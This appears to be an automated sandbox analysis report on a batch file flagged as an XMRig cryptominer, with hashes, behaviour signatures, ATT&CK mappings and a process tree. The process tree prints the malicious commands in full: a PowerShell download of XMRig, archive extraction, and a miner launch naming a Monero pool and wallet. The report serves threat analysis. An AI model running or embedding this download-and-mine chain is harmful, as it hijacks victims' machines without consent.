xmrig | 1572be5be48b2559b80405a61761e6377ceb81c4b67ffeeeaa9a9819b9e5716a

General

Target

s.bat
Size

1KB
MD5

f9e0161fac70cf9d9935e2f8d1f1891e
SHA1

a6a1efcdb0c9dc7dee578400e7b3e7fc7eda50cc
SHA256

1572be5be48b2559b80405a61761e6377ceb81c4b67ffeeeaa9a9819b9e5716a
SHA512

e5a2fad1a1b002620dc9d85bf6c041527cb614d9bacaa010f152d3bf39ca8838c55aec18534c19283f751645879b9c1cb7fe7567820093d7ada609a06d893bcf

Score

10^/10

xmrig execution miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x0007000000023cc1-59.dat	family_xmrig
behavioral2/files/0x0007000000023cc1-59.dat	xmrig

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	5024	powershell.exe
6	5024	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5024	powershell.exe
3028	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2472	xmrig.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5024	powershell.exe
5024	powershell.exe
3028	powershell.exe
3028	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	5024	powershell.exe
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeLockMemoryPrivilege	2472	xmrig.exe
Token: SeLockMemoryPrivilege	2472	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2472	xmrig.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4420 wrote to memory of 5024	4420	cmd.exe	84
PID 4420 wrote to memory of 5024	4420	cmd.exe	84
PID 4420 wrote to memory of 3028	4420	cmd.exe	86
PID 4420 wrote to memory of 3028	4420	cmd.exe	86
PID 4420 wrote to memory of 760	4420	cmd.exe	93
PID 4420 wrote to memory of 760	4420	cmd.exe	93
PID 4420 wrote to memory of 3976	4420	cmd.exe	94
PID 4420 wrote to memory of 3976	4420	cmd.exe	94
PID 4420 wrote to memory of 2132	4420	cmd.exe	95
PID 4420 wrote to memory of 2132	4420	cmd.exe	95
PID 4420 wrote to memory of 2120	4420	cmd.exe	96
PID 4420 wrote to memory of 2120	4420	cmd.exe	96
PID 4420 wrote to memory of 1924	4420	cmd.exe	97
PID 4420 wrote to memory of 1924	4420	cmd.exe	97
PID 4420 wrote to memory of 756	4420	cmd.exe	98
PID 4420 wrote to memory of 756	4420	cmd.exe	98
PID 4420 wrote to memory of 3512	4420	cmd.exe	99
PID 4420 wrote to memory of 3512	4420	cmd.exe	99
PID 4420 wrote to memory of 4220	4420	cmd.exe	100
PID 4420 wrote to memory of 4220	4420	cmd.exe	100
PID 4420 wrote to memory of 2472	4420	cmd.exe	101
PID 4420 wrote to memory of 2472	4420	cmd.exe	101

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\s.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 31
  2⤵
  PID:760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 18
  2⤵
  PID:3976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 14
  2⤵
  PID:2132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 18
  2⤵
  PID:2120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 12
  2⤵
  PID:1924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 34
  2⤵
  PID:756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 7
  2⤵
  PID:3512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 32
  2⤵
  PID:4220
- C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe
  "C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe" --donate-level 1 -o de.monero.herominers.com:1111 -u solo:46snjQGRP7EaVq5ByVkqeeQhDoNXfpLgeVUfyafhuoan4SdE6Sn3BVs4C4hykg6y3yWK5w1prCjx84nYs7egieBuAEG2YUX -p p1_ -a rx/0 -k
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0f6a3762a04bbb03336fb66a040afb97

SHA1
0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

SHA256
36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

SHA512
cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_docf2nra.4w2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip

Filesize
2.5MB

MD5
57b7ab5bce7d5e47fd168e1f0d437d32

SHA1
050eeae3e0f0e876f9da175347b586871d14fe83

SHA256
1d903d39c7e4e1706c32c44721d6a6c851aa8c4c10df1479478ee93cd67301bc

SHA512
8cc6e3e0e78f706172a47bef261e1d73ce882ce531fe51177ba46cee659128e2115311d348ca07a717ff737e4bc802c7ca4cc57de716cbe55202b9482b5e2022

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe

Filesize
6.1MB

MD5
f6d520ae125f03056c4646c508218d16

SHA1
f65e63d14dd57eadb262deaa2b1a8a965a2a962c

SHA256
d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1

SHA512
d1ec3da141ce504993a0cbf8ea4b719ffa40a2be4941c18ffc64ec3f71435f7bddadda6032ec0ae6cada66226ee39a2012079ed318df389c7c6584ad3e1c334d

Download Submit
memory/2472-61-0x000001F831F80000-0x000001F831FA0000-memory.dmp

Filesize
128KB

Download
memory/3028-32-0x000002071D0D0000-0x000002071D0E2000-memory.dmp

Filesize
72KB

Download
memory/3028-18-0x00007FFDC0AB3000-0x00007FFDC0AB5000-memory.dmp

Filesize
8KB

Download
memory/3028-24-0x00007FFDC0AB0000-0x00007FFDC1571000-memory.dmp

Filesize
10.8MB

Download
memory/3028-29-0x00007FFDC0AB0000-0x00007FFDC1571000-memory.dmp

Filesize
10.8MB

Download
memory/3028-31-0x00007FFDC0AB0000-0x00007FFDC1571000-memory.dmp

Filesize
10.8MB

Download
memory/3028-33-0x000002071D0C0000-0x000002071D0CA000-memory.dmp

Filesize
40KB

Download
memory/3028-56-0x0000020735350000-0x000002073556C000-memory.dmp

Filesize
2.1MB

Download
memory/3028-57-0x00007FFDC0AB0000-0x00007FFDC1571000-memory.dmp

Filesize
10.8MB

Download
memory/5024-16-0x00007FFDC0730000-0x00007FFDC11F1000-memory.dmp

Filesize
10.8MB

Download
memory/5024-0-0x00007FFDC0733000-0x00007FFDC0735000-memory.dmp

Filesize
8KB

Download
memory/5024-12-0x00007FFDC0730000-0x00007FFDC11F1000-memory.dmp

Filesize
10.8MB

Download
memory/5024-11-0x00007FFDC0730000-0x00007FFDC11F1000-memory.dmp

Filesize
10.8MB

Download
memory/5024-2-0x0000016CC5960000-0x0000016CC5982000-memory.dmp

Filesize
136KB

Download

Analysis

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